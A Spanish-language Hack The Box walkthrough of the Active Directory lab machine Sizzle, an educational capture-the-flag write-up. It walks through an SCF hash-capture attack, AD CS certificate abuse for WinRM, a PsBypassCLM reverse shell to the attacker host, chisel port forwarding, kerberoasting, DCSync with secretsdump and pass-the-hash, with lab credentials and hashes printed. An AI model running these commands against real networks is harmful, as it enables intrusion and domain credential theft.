Hack The Box — Sizzle Walkthrough

En esta maquina enumeraremos permisos de escritura en todos los directorios de SMB de manera automática, explotaremos un SCF attack que nos dará las credenciales de un usuario del dominio pero para conseguir el acceso inicial necesitaremos obtener unos certificados SSL para winRM. Finalmente escalaremos privilegios explotando la ACL GetChangesAll previamente forwardeando el puerto de kerberos.

Enumeración

Comenzamos realizando un escaneo rapido de todos los puertos abiertos:

nmap -p- — open -sT — min-rate 5000 -vvv -n -Pn 10.10.10.103

Enumeración web

Tenemos un IIS estático que no ofrece ninguna informacion ni en su contenido ni en el codigo fuente mas alla que el directorio /images.

Si realizamos la enumeracion de directorios con la lista para IIS (/seclists/Discovery/Web-Content/IIS.fuzz.txt) obtenemos uno interesante.

Si intentamos acceder a el nos pide unas credenciales por lo que volveremos aquí mas tarde

Enumeración SMB

Vemos que hay 3 directorios interesantes que no son por defecto. El unico que puede enumerarse es “Department Shares” ya que el resto o estan vacíos o no tenemos permisos.

Si accedemos a Users obtenemos varios nombres de usuario.

Vamos a hacer una lista y validarlos con kerberute

El unico usuario de dominio es amanda. No hemos conseguido ninguna credencial por fuerza bruta y tampoco hay ningun usuario AS-REPRoasteable por lo que vamos a comprobar si tiene algun permiso de escritura en el SMB.

Para averiguarlo usaremos smbcacls

Buscamos el permiso para Everyone en este caso para la usuario amanda solo es de lectura

En caso de tener bastantes usuarios podemos automatizar este proceso con un bucle for usando como lista de usuarios el propio contenido del directorio Users del SMB. Pero primero debemos montar el SMB en local

Debemos ejecutar el bucle en el directorio /Users de nuestra montura

tput civis; for directory in $(ls); do echo -e "n[+] Enumerando permisos en el directorio $directory:n"; echo -e "t$(smbcacls "//10.10.10.103/Department Shares" Users/$directory -N | grep "Everyone")"; done; tput cnorm

Vemos que tenemos permiso total en el usuario Public.

Explotación

SCF Attack

Ya sabemos que podemos subir archivos al SMB ahora debemos emplear la explotacion adecuada a traves de un archivo que debe ser abierto por algun usuarios del sistema, crearemos un archivo malicioso de tipo scf para que nos devuelva el hash de el usuario que lo abre, de manera parecida al responder.

“SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The “Show Desktop” shortcut we all use on a daily basis is an SCF file.”

Creamos el archivo scf malicioso

https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

A continuacion abrimos nuestro recurso compartido por smb y esperamos a que sea abierto el archivo.

Obtenemos el hash de amanda, a continuación vamos a desencriptarlo.

Validamos las credenciales con crackmapexec.

Tambien con winrm para comprobar si esta en el grupo de administracion remoto de windows

En este caso no nos indica que las credenciales no sean correctas si no que nos esta dando un error

Podemos dumpear la informacion del dominio con #ldapdomaindump y asi poder confirmar si nuestro usuario amanda pertenece al grupo de Administracion Remota de Windows.

Confirmamos que pertenece al grupo por lo que intentaremos acceder directamente por winRM

Antes podriamos validar las credenciales contra el resto de servicios para tenerlo en cuenta.

  • SMB Shares
  • RPC
  • Kerberoast

Vemos que el usuario mrlky es kerberoasteable por lo que al enviar la request nos deberia enviar su hash.

Sin embargo no nos devuelve nada debido a que el puerto de kerberos no esta expuesto.

Sabiendo esto solo podemos obtener el TGS de este usuario teniendo acceso inicial de dos maneras:
– Ejecutando un Kerberoast con Rubeus.
– Hacer un remote port forwarding para traernos el puerto 88 y el 389

Acceso inicial

Accedemos por winRM con las credenciales de amanda

evil-winrm -i 10.10.10.103 -u ‘amanda’ -p ‘Ashare1972’

Si leemos el error vemos que esta relacionado con el protocolo de transporte “WinRM::WinRMHTTPTransportError”

Observando el escaneo de nmap vemos dos puertos de winrm uno de ellos para ssl.

Si echamos un vistazo a los parametros de evil-winrm, vemos que tiene uno que permite realizar la conexion por ssl.

Sin embargo para usarlo necesitamos dos claves, la privada la podemos generar nosotros pero la publica necesitamos que no sea dado por el servidor.

Obtención de certificados SSL

Como hemos visto antes en la enumeracion web hay un directorio /certsrv en el que requería credenciales para acceder, vamos a probar a introducir las de amanda.

Vemos que se trata de Microsoft Active Directory Certificate Services un servicio que provee certificados, justo lo que necesitábamos.

Le damos en solicitar certificado.

Elegiremos la solicitud avanzada ya que la otra no nos genera un certificado ya que nos da un error.

Nos pide los datos de nuestra clave privada la cual generaremos ahora.

openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr

Vemos que nos genera la clave privada y el certificado.

Copiamos el certificado y lo pegaremos en el servicio de certificados y le daremos a submit.

Nos descargamos el certificado

Una vez que tenemos ambos certificados publico y privado vamos a realizar la conexion con evil-winrm mediante ssl usando los parametros -c y -k.

Escalada de privilegios

Vectores:
– winPEAS
– windows-exploit-suggester
– bloodhound

Problemas:
1. No esta permitido el comando systeminfo para sacar el output y analizarlo con windows-exploit-suggester
2. El AV no permite la transferencia de archivos y si lo subimos desde el SMB lo elimina por lo que no podemos usar winPEAS ni extraer la informacion del dominio con Sharphound.ps1

Intentamos bypassearlo con el modulo de evil-winrm Bypass-4MSI pero tampoco funciona.

Bypass ConstrainedLanguage

Ademas de tener un antivirus habilitado la shel esta en modo ConstrainedLanguage lo que significa que tenemos un uso restringido de la misma por lo que necesitamos el FullLanguage Mode. Esto lo necesitamos tanto para poder pasar a la maquina SharpHound, ejecutarlo y exfiltrar los datos.

Tenemos dos opciones para solucionar este problema.

  1. Bypassear el ConstrainedLanguage
  2. Usar bloodhound-python desde fuera.

La primera manera de conseguir descargar Sharphound a la maquina es con el comando:

IWR -Uri http://10.10.14.13/SharpHound.ps1 -OutFile SharpHound.ps1

Sin embargo luego no hay manera de enviar el ZIP de vuelta a nuestro Kali

La opcion que nos queda es repetir el proceso con la herramienta PsBypassCLM la cual nos dara directamente el FullLaguage Mode.

Clonamos el repositorio y pasamos el binario a la maquina victima.

Ejecutamos el comando que nos indica en la guia de github modificando la ip y puerto desde la maquina victima y nos ponemos a la escucha en el puerto 443.

C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.13 /rport=443 /U C:WindowsTempReconPsBypassCLM.exe

Obtendremos una shell con FullLaguage Mode, podemos comprobarlo con:

$ExecutionContext.SessionState.LanguageMode

Ya podriamos subir y enviar de vuelta los archivos que queramos.

La segunda manera de dumpear la informacion del dominio seria ejecutando bloodhound-python desde fuera con las credenciales de amanda.

bloodhound-python -c All -u ‘amanda’ -p ‘Ashare1972’ -ns 10.10.10.103 -d htb.local

Subimos los archivos a bloodhound y analizamos las relaciones.

Enumeramos vectores DCsync

Como hemos dicho en la explotacion hay dos maneras de hacerle kerberoasting al usuario :
– Ejecutar el binario de Rubeus
– Hacer un remote port forwarding para traernos el puerto 88 y el 389

Kerberoasting con Rubeus

Enviamos el binario de Rubeus al equipo victima.

.Rubeus.exe kerberoast /creduser:htb.localamanda /credpassword:Ashare1972

Obtenemos el TGS de mrlky con el cual podriamos obtener su contraseña y realizar el DCSync.

Kerberos Port Forward

Necesitamos el puerto 88 abierto para que nos funcione el kerberoasting con GetUsersSPNS.py para ello nos lo traeremos con un Port Forwarding mediante chisel.

Abrimos el servidor en nnuestro kali

Desde la maquina victima traemos el puerto 88 a nuestro kali ademas del 389 que es LDAP para que no nos de problemas.

.chisel.exe client 10.10.14.13:1234 R:88:127.0.0.1:88 R:389:127.0.0.1:389

Una vez montados los puertos en nuestro Kali realizaremos el kerberoasting con GetUserSPN.py apuntando a nuestro localhost.

GetUserSPNs.py htb.local/amanda:Ashare1972 -request -dc-ip 127.0.0.1

Lo crackeamos con john para obtener la contraseña

Ya tenemos las credenciales del usuario el cual permitiría el DCsync vamos a explotarlo.

Simplemente habria que dumpear los hashes de los usuarios del dominio, esto podemos hacerlo con mimikatz si nos conectaramos de la misma manera con evil-wirm, pero tambien podemos hacerlo desde fuera con secretsdump.

secretsdump.py htb.local/mrlky:Football#7@10.10.10.103

Hemos obtenido el hash del administrador por lo que ya podriamos hacer un pass the hash

Si lo hacemos con winrm aun usando los certificados seguiremos como el usuario amanda, lo haremos con la herramienta wmiexec.py

wmiexec.py htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267

Tags: